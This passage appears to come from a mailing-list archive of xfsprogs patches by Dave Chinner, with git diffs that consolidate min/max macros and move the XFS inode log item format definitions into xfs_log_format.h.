a/include/xfs_inode_buf.h b/include/xfs_inode_buf.h index b5f1e22..aae9fc4 100644 --- a/include/xfs_inode_buf.h +++ b/include/xfs_inode_buf.h @@ -40,7 +40,6 @@ int xfs_iread(struct xfs_mount *, struct xfs_trans *, void xfs_dinode_calc_crc(struct xfs_mount *, struct xfs_dinode *); void xfs_dinode_to_disk(struct xfs_dinode *, struct xfs_icdinode *); -bool xfs_can_free_eofblocks(struct xfs_inode *, bool); #if defined(DEBUG) void xfs_inobp_check(struct xfs_mount *, struct xfs_buf *); diff --git a/include/xfs_trans.h b/include/xfs_trans.h index 37aca08..8e67284 100644 --- a/include/xfs_trans.h +++ b/include/xfs_trans.h @@ -200,7 +200,7 @@ typedef struct xfs_trans { int64_t t_res_fdblocks_delta; /* on-disk only chg */ int64_t t_frextents_delta;/* superblock freextents chg*/ int64_t t_res_frextents_delta; /* on-disk only chg */ -#ifdef DEBUG +#if defined(DEBUG) || defined(XFS_WARN) int64_t t_ag_freeblks_delta; /* debugging counter */ int64_t t_ag_flist_delta; /* debugging counter */ int64_t t_ag_btree_delta; /* debugging counter */ @@ -228,7 +228,7 @@ typedef struct xfs_trans { #define xfs_trans_get_block_res(tp) ((tp)->t_blk_res) #define xfs_trans_set_sync(tp) ((tp)->t_flags |= XFS_TRANS_SYNC) -#ifdef DEBUG +#if defined(DEBUG) || defined(XFS_WARN) #define xfs_trans_agblocks_delta(tp, d) ((tp)->t_ag_freeblks_delta += (int64_t)d) #define xfs_trans_agflist_delta(tp, d) ((tp)->t_ag_flist_delta += (int64_t)d) #define xfs_trans_agbtree_delta(tp, d) ((tp)->t_ag_btree_delta += (int64_t)d) @@ -298,6 +298,7 @@ void xfs_trans_bhold_release(xfs_trans_t *, struct xfs_buf *); void xfs_trans_binval(xfs_trans_t *, struct xfs_buf *); void xfs_trans_inode_buf(xfs_trans_t *, struct xfs_buf *); void xfs_trans_stale_inode_buf(xfs_trans_t *, struct xfs_buf *); +void xfs_trans_ordered_buf(xfs_trans_t *, struct xfs_buf *); void xfs_trans_dquot_buf(xfs_trans_t *, struct xfs_buf *, uint); void xfs_trans_inode_alloc_buf(xfs_trans_t *, struct xfs_buf *); void xfs_trans_ichgtime(struct xfs_trans *, struct xfs_inode *, int); @@ -327,7 +328,4 @@ extern kmem_zone_t *xfs_log_item_desc_zone; #endif /* __KERNEL__ */ -void xfs_trans_init(struct xfs_mount *); -int xfs_trans_roll(struct xfs_trans **, struct xfs_inode *); - #endif /* __XFS_TRANS_H__ */ diff --git a/libxfs/xfs.h b/libxfs/xfs.h index 276fc25..0ab5f21 100644 --- a/libxfs/xfs.h +++ b/libxfs/xfs.h @@ -437,3 +437,5 @@ xfs_buf_t *xfs_trans_buf_item_match(xfs_trans_t *, struct xfs_buftarg *, /* local source files */ int xfs_mod_incore_sb(xfs_mount_t *, xfs_sb_field_t, int64_t, int); void xfs_trans_mod_sb(xfs_trans_t *, uint, long); +void xfs_trans_init(struct xfs_mount *); +int xfs_trans_roll(struct xfs_trans **, struct xfs_inode *); -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:46:35 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id F02498073 for ; Fri, 19 Jul 2013 01:45:55 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id D2A448F8033 for ; Thu, 18 Jul 2013 23:45:55 -0700 (PDT) X-ASG-Debug-ID: 1374216332-04cb6c2a42ed669000b-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id bcUDE9LEwbbrlLtf for ; Thu, 18 Jul 2013 23:45:53 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApocAMLf6FF5LK4r/2dsb2JhbABagwY1rQ0ClAIEgRUXdIIkAQEFVhUeCBgxOQMbGYgPtiOOcoE6g2YDqSqDJCo Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 16:15:48 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V04RS-0004IM-Pl for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:26 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V04RS-0002K0-On for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:26 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 12/49] xfsprogs: define min/max once and use them everywhere. Date: Fri, 19 Jul 2013 16:44:47 +1000 X-ASG-Orig-Subj: [PATCH 12/49] xfsprogs: define min/max once and use them everywhere. Message-Id: <1374216324-8781-13-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374216324-8781-1-git-send-email-david@fromorbit.com> References: <1374216324-8781-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374216353 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Signed-off-by: Dave Chinner --- include/libxfs.h | 1 - include/platform_defs.h.in | 5 +++++ io/init.h | 3 --- libxfs/rdwr.c | 1 - 4 files changed, 5 insertions(+), 5 deletions(-) diff --git a/include/libxfs.h b/include/libxfs.h index bd74ca5..e776211 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -72,7 +72,6 @@ #define __round_mask(x, y) ((__typeof__(x))((y)-1)) #define round_up(x, y) ((((x)-1) | __round_mask(x, y))+1) #define round_down(x, y) ((x) & ~__round_mask(x, y)) -#define min(a,b) ((a) < (b) ? (a) : (b)) /* * Argument structure for libxfs_init(). diff --git a/include/platform_defs.h.in b/include/platform_defs.h.in index 3c0106e..ac260bc 100644 --- a/include/platform_defs.h.in +++ b/include/platform_defs.h.in @@ -173,4 +173,9 @@ typedef unsigned short umode_t; #define __arch_pack #endif +#ifndef min +#define min(a,b) (((a)<(b))?(a):(b)) +#define max(a,b) (((a)>(b))?(a):(b)) +#endif + #endif /* __XFS_PLATFORM_DEFS_H__ */ diff --git a/io/init.h b/io/init.h index 1dac211..d773b1b 100644 --- a/io/init.h +++ b/io/init.h @@ -26,7 +26,4 @@ extern int expert; extern size_t pagesize; extern struct timeval stopwatch; -#define min(a,b) (((a)<(b))?(a):(b)) -#define max(a,b) (((a)>(b))?(a):(b)) - extern void init_cvtnum(size_t *blocksize, size_t *sectsize); diff --git a/libxfs/rdwr.c b/libxfs/rdwr.c index c679f81..93beb23 100644 --- a/libxfs/rdwr.c +++ b/libxfs/rdwr.c @@ -22,7 +22,6 @@ #include "init.h" #define BDSTRAT_SIZE (256 * 1024) -#define min(x, y) ((x) < (y) ? (x) : (y)) #define IO_BCOMPARE_CHECK -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:46:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8580A8048 for ; Fri, 19 Jul 2013 01:45:55 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id EC0CFAC010 for ; Thu, 18 Jul 2013 23:45:54 -0700 (PDT) X-ASG-Debug-ID: 1374216331-04cb6c2a47ed669000c-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id DnGQMEAiYNGWm7d6 for ; Thu, 18 Jul 2013 23:45:52 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAMLf6FF5LK4r/2dsb2JhbABagwbBRgSBFRd0giQBAQUaDS8zCBgZGDkDGxmID7YjjnKBNgyDXgOpKoMkKoE1 Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 16:15:47 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V04RS-0004IZ-TY for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V04RS-0002KP-S9 for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:26 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 17/49] xfs: split out inode log item format definition Date: Fri, 19 Jul 2013 16:44:52 +1000 X-ASG-Orig-Subj: [PATCH 17/49] xfs: split out inode log item format definition Message-Id: <1374216324-8781-18-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374216324-8781-1-git-send-email-david@fromorbit.com> References: <1374216324-8781-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374216351 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Th elog item format definitions are shared with userspace. split the out of header files that contain kernel only defintions to make it simple to shared them. Signed-off-by: Dave Chinner --- include/Makefile | 4 +- include/libxfs.h | 5 +- include/libxlog.h | 1 - include/xfs_inode.h | 70 ------------------ include/xfs_inode_item.h | 170 ------------------------------------------ include/xfs_log_format.h | 189 +++++++++++++++++++++++++++++++++++++++++++++++ include/xfs_types.h | 6 ++ libxfs/trans.c | 2 +- 8 files changed, 202 insertions(+), 245 deletions(-) delete mode 100644 include/xfs_inode_item.h diff --git a/include/Makefile b/include/Makefile index efa3275..722aef3 100644 --- a/include/Makefile +++ b/include/Makefile @@ -26,7 +26,9 @@ QAHFILES = libxfs.h libxlog.h \ xfs_btree_trace.h xfs_buf_item.h xfs_cksum.h xfs_da_btree.h \ xfs_dinode.h xfs_dir2.h xfs_dir2_format.h \ xfs_extfree_item.h xfs_ialloc.h xfs_ialloc_btree.h \ - xfs_icreate_item.h xfs_inode.h xfs_inode_item.h xfs_inum.h \ + xfs_icreate_item.h \ + xfs_inode.h \ + xfs_inum.h \ xfs_log_format.h \ xfs_log_recover.h \ xfs_metadump.h \ diff --git a/include/libxfs.h b/include/libxfs.h index c9918cd..c96857b 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -36,6 +36,9 @@ #include #include #include + +#include + #include #include #include @@ -50,7 +53,6 @@ #include #include #include -#include #include #include #include @@ -59,7 +61,6 @@ #include #include -#include #ifndef ARRAY_SIZE #define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0])) diff --git a/include/libxlog.h b/include/libxlog.h index 961c4b5..301e3dd 100644 --- a/include/libxlog.h +++ b/include/libxlog.h @@ -49,7 +49,6 @@ struct xlog { #include #include -#include #include #include diff --git a/include/xfs_inode.h b/include/xfs_inode.h index fdca7f7..1e92338 100644 --- a/include/xfs_inode.h +++ b/include/xfs_inode.h @@ -23,12 +23,6 @@ struct xfs_dinode; struct xfs_inode; /* - * Fork identifiers. - */ -#define XFS_DATA_FORK 0 -#define XFS_ATTR_FORK 1 - -/* * The following xfs_ext_irec_t struct introduces a second (top) level * to the in-core extent allocation scheme. These structs are allocated * in a contiguous block, creating an indirection array where each entry @@ -113,69 +107,6 @@ struct xfs_imap { * i_mnext and i_mprev fields, it is used as a marker in the inode * chain off the mount structure by xfs_sync calls. */ - -typedef struct xfs_ictimestamp { - __int32_t t_sec; /* timestamp seconds */ - __int32_t t_nsec; /* timestamp nanoseconds */ -} xfs_ictimestamp_t; - -/* - * NOTE: This structure must be kept identical to struct xfs_dinode - * in xfs_dinode.h except for the endianness annotations. - */ -typedef struct xfs_icdinode { - __uint16_t di_magic; /* inode magic # = XFS_DINODE_MAGIC */ - __uint16_t di_mode; /* mode and type of file */ - __int8_t di_version; /* inode version */ - __int8_t di_format; /* format of di_c data */ - __uint16_t di_onlink; /* old number of links to file */ - __uint32_t di_uid; /* owner's user id */ - __uint32_t di_gid; /* owner's group id */ - __uint32_t di_nlink; /* number of links to file */ - __uint16_t di_projid_lo; /* lower part of owner's project id */ - __uint16_t di_projid_hi; /* higher part of owner's project id */ - __uint8_t di_pad[6]; /* unused, zeroed space */ - __uint16_t di_flushiter; /* incremented on flush */ - xfs_ictimestamp_t di_atime; /* time last accessed */ - xfs_ictimestamp_t di_mtime; /* time last modified */ - xfs_ictimestamp_t di_ctime; /* time created/inode modified */ - xfs_fsize_t di_size; /* number of bytes in file */ - xfs_drfsbno_t di_nblocks; /* # of direct & btree blocks used */ - xfs_extlen_t di_extsize; /* basic/minimum extent size for file */ - xfs_extnum_t di_nextents; /* number of extents in data fork */ - xfs_aextnum_t di_anextents; /* number of extents in attribute fork*/ - __uint8_t di_forkoff; /* attr fork offs, <<3 for 64b align */ - __int8_t di_aformat; /* format of attr fork's data */ - __uint32_t di_dmevmask; /* DMIG event mask */ - __uint16_t di_dmstate; /* DMIG state info */ - __uint16_t di_flags; /* random flags, XFS_DIFLAG_... */ - __uint32_t di_gen; /* generation number */ - - /* di_next_unlinked is the only non-core field in the old dinode */ - __be32 di_next_unlinked;/* agi unlinked list ptr */ - - /* start of the extended dinode, writable fields */ - __uint32_t di_crc; /* CRC of the inode */ - __uint64_t di_changecount; /* number of attribute changes */ - xfs_lsn_t di_lsn; /* flush sequence */ - __uint64_t di_flags2; /* more random flags */ - __uint8_t di_pad2[16]; /* more padding for future expansion */ - - /* fields only written to during inode creation */ - xfs_ictimestamp_t di_crtime; /* time created */ - xfs_ino_t di_ino; /* inode number */ - uuid_t di_uuid; /* UUID of the filesystem */ - - /* structure must be padded to 64 bit alignment */ -} xfs_icdinode_t; - -static inline uint xfs_icdinode_size(int version) -{ - if (version == 3) - return sizeof(struct xfs_icdinode); - return offsetof(struct xfs_icdinode, di_next_unlinked); -} - /* * Flags for xfs_ichgtime(). */ @@ -625,7 +556,6 @@ void xfs_inobp_check(struct xfs_mount *, struct xfs_buf *); extern struct kmem_zone *xfs_ifork_zone; extern struct kmem_zone *xfs_inode_zone; -extern struct kmem_zone *xfs_ili_zone; extern const struct xfs_buf_ops xfs_inode_buf_ops; #endif /* __XFS_INODE_H__ */ diff --git a/include/xfs_inode_item.h b/include/xfs_inode_item.h deleted file mode 100644 index 779812f..0000000 --- a/include/xfs_inode_item.h +++ /dev/null @@ -1,170 +0,0 @@ -/* - * Copyright (c) 2000,2005 Silicon Graphics, Inc. - * All Rights Reserved. - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write the Free Software Foundation, - * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA - */ -#ifndef __XFS_INODE_ITEM_H__ -#define __XFS_INODE_ITEM_H__ - -/* - * This is the structure used to lay out an inode log item in the - * log. The size of the inline data/extents/b-tree root to be logged - * (if any) is indicated in the ilf_dsize field. Changes to this structure - * must be added on to the end. - */ -typedef struct xfs_inode_log_format { - __uint16_t ilf_type; /* inode log item type */ - __uint16_t ilf_size; /* size of this item */ - __uint32_t ilf_fields; /* flags for fields logged */ - __uint16_t ilf_asize; /* size of attr d/ext/root */ - __uint16_t ilf_dsize; /* size of data/ext/root */ - __uint64_t ilf_ino; /* inode number */ - union { - __uint32_t ilfu_rdev; /* rdev value for dev inode*/ - uuid_t ilfu_uuid; /* mount point value */ - } ilf_u; - __int64_t ilf_blkno; /* blkno of inode buffer */ - __int32_t ilf_len; /* len of inode buffer */ - __int32_t ilf_boffset; /* off of inode in buffer */ -} xfs_inode_log_format_t; - -typedef struct xfs_inode_log_format_32 { - __uint16_t ilf_type; /* inode log item type */ - __uint16_t ilf_size; /* size of this item */ - __uint32_t ilf_fields; /* flags for fields logged */ - __uint16_t ilf_asize; /* size of attr d/ext/root */ - __uint16_t ilf_dsize; /* size of data/ext/root */ - __uint64_t ilf_ino; /* inode number */ - union { - __uint32_t ilfu_rdev; /* rdev value for dev inode*/ - uuid_t ilfu_uuid; /* mount point value */ - } ilf_u; - __int64_t ilf_blkno; /* blkno of inode buffer */ - __int32_t ilf_len; /* len of inode buffer */ - __int32_t ilf_boffset; /* off of inode in buffer */ -} __attribute__((packed)) xfs_inode_log_format_32_t; - -typedef struct xfs_inode_log_format_64 { - __uint16_t ilf_type; /* inode log item type */ - __uint16_t ilf_size; /* size of this item */ - __uint32_t ilf_fields; /* flags for fields logged */ - __uint16_t ilf_asize; /* size of attr d/ext/root */ - __uint16_t ilf_dsize; /* size of data/ext/root */ - __uint32_t ilf_pad; /* pad for 64 bit boundary */ - __uint64_t ilf_ino; /* inode number */ - union { - __uint32_t ilfu_rdev; /* rdev value for dev inode*/ - uuid_t ilfu_uuid; /* mount point value */ - } ilf_u; - __int64_t ilf_blkno; /* blkno of inode buffer */ - __int32_t ilf_len; /* len of inode buffer */ - __int32_t ilf_boffset; /* off of inode in buffer */ -} xfs_inode_log_format_64_t; - -/* - * Flags for xfs_trans_log_inode flags field. - */ -#define XFS_ILOG_CORE 0x001 /* log standard inode fields */ -#define XFS_ILOG_DDATA 0x002 /* log i_df.if_data */ -#define XFS_ILOG_DEXT 0x004 /* log i_df.if_extents */ -#define XFS_ILOG_DBROOT 0x008 /* log i_df.i_broot */ -#define XFS_ILOG_DEV 0x010 /* log the dev field */ -#define XFS_ILOG_UUID 0x020 /* log the uuid field */ -#define XFS_ILOG_ADATA 0x040 /* log i_af.if_data */ -#define XFS_ILOG_AEXT 0x080 /* log i_af.if_extents */ -#define XFS_ILOG_ABROOT 0x100 /* log i_af.i_broot */ - - -/* - * The timestamps are dirty, but not necessarily anything else in the inode - * core. Unlike the other fields above this one must never make it to disk - * in the ilf_fields of the inode_log_format, but is purely store in-memory in - * ili_fields in the inode_log_item. - */ -#define XFS_ILOG_TIMESTAMP 0x4000 - -#define XFS_ILOG_NONCORE (XFS_ILOG_DDATA | XFS_ILOG_DEXT | \ - XFS_ILOG_DBROOT | XFS_ILOG_DEV | \ - XFS_ILOG_UUID | XFS_ILOG_ADATA | \ - XFS_ILOG_AEXT | XFS_ILOG_ABROOT) - -#define XFS_ILOG_DFORK (XFS_ILOG_DDATA | XFS_ILOG_DEXT | \ - XFS_ILOG_DBROOT) - -#define XFS_ILOG_AFORK (XFS_ILOG_ADATA | XFS_ILOG_AEXT | \ - XFS_ILOG_ABROOT) - -#define XFS_ILOG_ALL (XFS_ILOG_CORE | XFS_ILOG_DDATA | \ - XFS_ILOG_DEXT | XFS_ILOG_DBROOT | \ - XFS_ILOG_DEV | XFS_ILOG_UUID | \ - XFS_ILOG_ADATA | XFS_ILOG_AEXT | \ - XFS_ILOG_ABROOT | XFS_ILOG_TIMESTAMP) - -static inline int xfs_ilog_fbroot(int w) -{ - return (w == XFS_DATA_FORK ? XFS_ILOG_DBROOT : XFS_ILOG_ABROOT); -} - -static inline int xfs_ilog_fext(int w) -{ - return (w == XFS_DATA_FORK ? XFS_ILOG_DEXT : XFS_ILOG_AEXT); -} - -static inline int xfs_ilog_fdata(int w) -{ - return (w == XFS_DATA_FORK ? XFS_ILOG_DDATA : XFS_ILOG_ADATA); -} - -#ifdef __KERNEL__ - -struct xfs_buf; -struct xfs_bmbt_rec; -struct xfs_inode; -struct xfs_mount; - - -typedef struct xfs_inode_log_item { - xfs_log_item_t ili_item; /* common portion */ - struct xfs_inode *ili_inode; /* inode ptr */ - xfs_lsn_t ili_flush_lsn; /* lsn at last flush */ - xfs_lsn_t ili_last_lsn; /* lsn at last transaction */ - unsigned short ili_lock_flags; /* lock flags */ - unsigned short ili_logged; /* flushed logged data */ - unsigned int ili_last_fields; /* fields when flushed */ - unsigned int ili_fields; /* fields to be logged */ - struct xfs_bmbt_rec *ili_extents_buf; /* array of logged - data exts */ - struct xfs_bmbt_rec *ili_aextents_buf; /* array of logged - attr exts */ - xfs_inode_log_format_t ili_format; /* logged structure */ -} xfs_inode_log_item_t; - - -static inline int xfs_inode_clean(xfs_inode_t *ip) -{ - return !ip->i_itemp || !(ip->i_itemp->ili_fields & XFS_ILOG_ALL); -} - -extern void xfs_inode_item_init(struct xfs_inode *, struct xfs_mount *); -extern void xfs_inode_item_destroy(struct xfs_inode *); -extern void xfs_iflush_done(struct xfs_buf *, struct xfs_log_item *); -extern void xfs_istale_done(struct xfs_buf *, struct xfs_log_item *); -extern void xfs_iflush_abort(struct xfs_inode *, bool); -extern int xfs_inode_item_format_convert(xfs_log_iovec_t *, - xfs_inode_log_format_t *); - -#endif /* __KERNEL__ */ - -#endif /* __XFS_INODE_ITEM_H__ */ diff --git a/include/xfs_log_format.h b/include/xfs_log_format.h index 9f9aeb6..fd46a7f 100644 --- a/include/xfs_log_format.h +++ b/include/xfs_log_format.h @@ -18,6 +18,16 @@ #ifndef __XFS_LOG_FORMAT_H__ #define __XFS_LOG_FORMAT_H__ +/* + * On-disk Log Format definitions. + * + * This file contains all the on-disk format definitions used within the log. It + * includes the physical log structure itself, as well as all the log item + * format structures that are written into the log and intepreted by log + * recovery. We start with the physical log format definitions, and then work + * through all the log items definitions and everything they encode into the + * log. + */ typedef __uint32_t xlog_tid_t; #define XLOG_MIN_ICLOGS 2 @@ -175,4 +185,183 @@ typedef struct xfs_log_iovec { uint i_type; /* type of region */ } xfs_log_iovec_t; + +/* + * Inode Log Item Format definitions. + * + * This is the structure used to lay out an inode log item in the + * log. The size of the inline data/extents/b-tree root to be logged + * (if any) is indicated in the ilf_dsize field. Changes to this structure + * must be added on to the end. + */ +typedef struct xfs_inode_log_format { + __uint16_t ilf_type; /* inode log item type */ + __uint16_t ilf_size; /* size of this item */ + __uint32_t ilf_fields; /* flags for fields logged */ + __uint16_t ilf_asize; /* size of attr d/ext/root */ + __uint16_t ilf_dsize; /* size of data/ext/root */ + __uint64_t ilf_ino; /* inode number */ + union { + __uint32_t ilfu_rdev; /* rdev value for dev inode*/ + uuid_t ilfu_uuid; /* mount point value */ + } ilf_u; + __int64_t ilf_blkno; /* blkno of inode buffer */ + __int32_t ilf_len; /* len of inode buffer */ + __int32_t ilf_boffset; /* off of inode in buffer */ +} xfs_inode_log_format_t; + +typedef struct xfs_inode_log_format_32 { + __uint16_t ilf_type; /* inode log item type */ + __uint16_t ilf_size; /* size of this item */ + __uint32_t ilf_fields; /* flags for fields logged */ + __uint16_t ilf_asize; /* size of attr d/ext/root */ + __uint16_t ilf_dsize; /* size of data/ext/root */ + __uint64_t ilf_ino; /* inode number */ + union { + __uint32_t ilfu_rdev; /* rdev value for dev inode*/ + uuid_t ilfu_uuid; /* mount point value */ + } ilf_u; + __int64_t ilf_blkno; /* blkno of inode buffer */ + __int32_t ilf_len; /* len of inode buffer */ + __int32_t ilf_boffset; /* off of inode in buffer */ +} __attribute__((packed)) xfs_inode_log_format_32_t; + +typedef struct xfs_inode_log_format_64 { + __uint16_t ilf_type; /* inode log item type */ + __uint16_t ilf_size; /* size of this item */ + __uint32_t ilf_fields; /* flags for fields logged */ + __uint16_t ilf_asize; /* size of attr d/ext/root */ + __uint16_t ilf_dsize; /* size of data/ext/root */ + __uint32_t ilf_pad; /* pad for 64 bit boundary */ + __uint64_t ilf_ino; /* inode number */ + union { + __uint32_t ilfu_rdev; /* rdev value for dev inode*/ + uuid_t ilfu_uuid; /* mount point value */ + } ilf_u; + __int64_t ilf_blkno; /* blkno of inode buffer */ + __int32_t ilf_len; /* len of inode buffer */ + __int32_t ilf_boffset; /* off of inode in buffer */ +} xfs_inode_log_format_64_t; + +/* + * Flags for xfs_trans_log_inode flags field. + */ +#define XFS_ILOG_CORE 0x001 /* log standard inode fields */ +#define XFS_ILOG_DDATA 0x002 /* log i_df.if_data */ +#define XFS_ILOG_DEXT 0x004 /* log i_df.if_extents */ +#define XFS_ILOG_DBROOT 0x008 /* log i_df.i_broot */ +#define XFS_ILOG_DEV 0x010 /* log the dev field */ +#define XFS_ILOG_UUID 0x020 /* log the uuid field */ +#define XFS_ILOG_ADATA 0x040 /* log i_af.if_data */ +#define XFS_ILOG_AEXT 0x080 /* log i_af.if_extents */ +#define XFS_ILOG_ABROOT 0x100 /* log i_af.i_broot */ + + +/* + * The timestamps are dirty, but not necessarily anything else in the inode + * core. Unlike the other fields above this one must never make it to disk + * in the ilf_fields of the inode_log_format, but is purely store in-memory in + * ili_fields in the inode_log_item. + */ +#define XFS_ILOG_TIMESTAMP 0x4000 + +#define XFS_ILOG_NONCORE (XFS_ILOG_DDATA | XFS_ILOG_DEXT | \ + XFS_ILOG_DBROOT | XFS_ILOG_DEV | \ + XFS_ILOG_UUID | XFS_ILOG_ADATA | \ + XFS_ILOG_AEXT | XFS_ILOG_ABROOT) + +#define XFS_ILOG_DFORK (XFS_ILOG_DDATA | XFS_ILOG_DEXT | \ + XFS_ILOG_DBROOT) + +#define XFS_ILOG_AFORK (XFS_ILOG_ADATA | XFS_ILOG_AEXT | \ + XFS_ILOG_ABROOT) + +#define XFS_ILOG_ALL (XFS_ILOG_CORE | XFS_ILOG_DDATA | \ + XFS_ILOG_DEXT | XFS_ILOG_DBROOT | \ + XFS_ILOG_DEV | XFS_ILOG_UUID | \ + XFS_ILOG_ADATA | XFS_ILOG_AEXT | \ + XFS_ILOG_ABROOT | XFS_ILOG_TIMESTAMP) + +static inline int xfs_ilog_fbroot(int w) +{ + return (w == XFS_DATA_FORK ? XFS_ILOG_DBROOT : XFS_ILOG_ABROOT); +} + +static inline int xfs_ilog_fext(int w) +{ + return (w == XFS_DATA_FORK ? XFS_ILOG_DEXT : XFS_ILOG_AEXT); +} + +static inline int xfs_ilog_fdata(int w) +{ + return (w == XFS_DATA_FORK ? XFS_ILOG_DDATA : XFS_ILOG_ADATA); +} + +/* + * Incore version of the on-disk inode core structures. We log this directly + * into the journal in host CPU format (for better or worse) and as such + * directly mirrors the xfs_dinode structure as it must contain all the same + * information. + */ +typedef struct xfs_ictimestamp { + __int32_t t_sec; /* timestamp seconds */ + __int32_t t_nsec; /* timestamp nanoseconds */ +} xfs_ictimestamp_t; + +/* + * NOTE: This structure must be kept identical to struct xfs_dinode + * in xfs_dinode.h except for the endianness annotations. + */ +typedef struct xfs_icdinode { + __uint16_t di_magic; /* inode magic # = XFS_DINODE_MAGIC */ + __uint16_t di_mode; /* mode and type of file */ + __int8_t di_version; /* inode version */ + __int8_t di_format; /* format of di_c data */ + __uint16_t di_onlink; /* old number of links to file */ + __uint32_t di_uid; /* owner's user id */ + __uint32_t di_gid; /* owner's group id */ + __uint32_t di_nlink; /* number of links to file */ + __uint16_t di_projid_lo; /* lower part of owner's project id */ + __uint16_t di_projid_hi; /* higher part of owner's project id */ + __uint8_t di_pad[6]; /* unused, zeroed space */ + __uint16_t di_flushiter; /* incremented on flush */ + xfs_ictimestamp_t di_atime; /* time last accessed */ + xfs_ictimestamp_t di_mtime; /* time last modified */ + xfs_ictimestamp_t di_ctime; /* time created/inode modified */ + xfs_fsize_t di_size; /* number of bytes in file */ + xfs_drfsbno_t di_nblocks; /* # of direct & btree blocks used */ + xfs_extlen_t di_extsize; /* basic/minimum extent size for file */ + xfs_extnum_t di_nextents; /* number of extents in data fork */ + xfs_aextnum_t di_anextents; /* number of extents in attribute fork*/ + __uint8_t di_forkoff; /* attr fork offs, <<3 for 64b align */ + __int8_t di_aformat; /* format of attr fork's data */ + __uint32_t di_dmevmask; /* DMIG event mask */ + __uint16_t di_dmstate; /* DMIG state info */ + __uint16_t di_flags; /* random flags, XFS_DIFLAG_... */ + __uint32_t di_gen; /* generation number */ + + /* di_next_unlinked is the only non-core field in the old dinode */ + xfs_agino_t di_next_unlinked;/* agi unlinked list ptr */ + + /* start of the extended dinode, writable fields */ + __uint32_t di_crc; /* CRC of the inode */ + __uint64_t di_changecount; /* number of attribute 